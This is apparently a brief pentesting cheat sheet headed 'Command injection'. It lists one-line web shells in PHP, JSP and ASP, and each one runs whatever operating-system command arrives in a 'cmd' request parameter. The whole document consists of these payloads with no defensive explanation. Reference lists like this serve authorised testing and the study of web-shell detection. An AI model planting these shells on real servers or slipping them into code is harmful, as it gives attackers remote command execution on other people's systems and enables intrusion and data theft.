Command injection

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Scripts

PHP - script.php

#System REQUEST method
<?php system($_REQUEST["cmd"]); ?>

#Shell_exec REQUEST method
<?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?>

JSP - script.jsp

<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>

ASP - script.asp

<% eval request("cmd") %>